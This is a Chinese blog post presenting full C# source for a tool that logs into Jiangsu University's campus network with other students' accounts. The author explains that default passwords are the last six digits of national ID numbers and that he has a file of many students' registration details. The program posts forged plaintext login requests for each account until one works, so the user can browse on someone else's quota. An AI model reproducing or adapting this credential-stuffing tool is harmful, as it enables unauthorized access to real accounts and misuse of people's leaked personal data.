• (江苏大学)校园网上网帮助工具开发详解(附源码)【行政教学区】【城市热点】


          需求:现在江苏大学在教学行政区上网,用的是自己的学号+密码,经过门户网站登录,但是时间是有限制的,研究生100hs,本科生30hs。然而存在这样一个事实,对于计算机学院的学生来讲,基本每天24hs泡在网上,100hs明显不够用啊!!!!而其他学院的学生因为很多没有实验室,或是对网络的需求小或是基本为0,而存在大量浪费!因此,这直接导致了这样一个事实,计算机学院的学生没网上,或者说为了上网,要从大量的账号中,一个一个的纯手工试,苦不堪言啊!!!!

          可行性:由于上网的账号和密码分别对应的是学生的学号和身份证号后6位(可以更改密码,因为很多人不用上网,所以没改,我们可以拿来用用。O(∩_∩)O哈哈~),现在可获得很多学生的注册信息(包含以上信息。)好了资源有了(在工程根目录下Account.txt文件)。技术积累方面,想到了FCL中得WebClient,利用MSDN查询该类信息,发现用於將資料上載至資源的 WebClient 方法如下:

          查阅相关方法的具体描述,DebugLZQ认为最简答的方法,就是用UploadString方法,向服务器发送Post请求。 详细信息请参考MSDN文档:http://msdn.microsoft.com/zh-tw/library/system.net.webclient(v=VS.80).aspx。     

          在前面分析完了腾讯的网页登陆加密机制后,下面我们来看看“江苏大学”的。

          打开江苏大学上网登陆页面:http://192.168.100.83/,页面如下:

          用Fiddler2查阅Http请求,发现结果如下:

          (竟然都是明文!!!)完全是0防备啊!!!!!既然这样子的话,伪造HTTP请求的工作就变得太简单了!(如果像是前面分析的腾讯网页登陆加密机制那样,伪造起来要麻烦一点,为了伪造,需要分析它的加密机制,以给服务器发送正确格式的数据。)

    string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";

          这里的userName和password就是前面看到的明文!构建这个请求就很简单了。

          下面给大家附上源码,很简短,但是很实用!如下:

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Threading;
    using System.Net;

    namespace EasyForDebugLZQ
    {
    class Program
    {
    static void Main(string[] args)
    {
    StreamReader sr = new StreamReader(@"account.txt");
    WebClient webClient = new WebClient();
    webClient.Encoding = Encoding.Default;
    for (int i=0;i<100 ;i++)
    {
    string tempString = sr.ReadLine();
    Console.WriteLine(tempString);
    Console.WriteLine(tempString.Substring(0, 10));
    Console.WriteLine(tempString.Substring(tempString.Length - 6, 6));
    string userName = tempString.Substring(0, 10);
    string password = tempString.Substring(tempString.Length - 6, 6);
    string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";
    string s = webClient.UploadString(@"http://192.168.100.83/", postStr);
    Thread.Sleep(1000);
    if (s.Length == 3630)
    {
    Console.WriteLine("Login Success! UserName="+userName +"Password="+password );
    break;
    }
    }
    }
    }
    }

          程序很简单,效果如下(因为今天是1号,所以第一个账号就登陆成功了!O(∩_∩)O哈哈~):

          这时就可以打开你的浏览器,Happy的上网了!(这里DebugLZQ避免了“程序中表达式的副作用问题”,当初DebugLZQ着手做这个小工具的时候,遇到了这个问题。在园子里,百度上,Google里搜寻半天,基本没有找到解决方法!DebugLZQ给出解决方案,希望对遇到同样问题的博友有点帮助,请期待DebugLZQ的下一篇博文。)

          祝各位博友元旦快乐!!!!!!!!!!!!!!

         【请点击下面的“绿色通道”-"关注DebugLZQ",DebugLZQ乐意与各位一同学习进步!,各位元旦快乐!Happy New Year!】

    ----------------

    Update:

    运行这个小工具的前提是网络通畅,也就是说我们的电脑的IP不能和别人的冲突。而在学校这个环境,现实的实际是:IP先到先得。所以为自己寻找一个可用的IP,很多时候比较让人烦心,特别是大部分IP被占用的时候。

    这个请参考DebugLZQ后面的博文:

    (江苏大学行政教学区)校园网上网帮助之二----自动设置IP小助手【城市热点】

  • 相关阅读:
    用变量构造函数检查变量类型
    HTML5的File API读取文件信息
    jQuery插件中的this指的是什么
    了解babel
    了解.gitignore
    高德地图画正六边形
    编写可维护性的js读书笔记
    百度地图遇到的问题
    实用的两个移动端demo
    git基本操作总结
  • 原文地址:https://www.cnblogs.com/DebugLZQ/p/2309119.html
Copyright © 2020-2023  润新知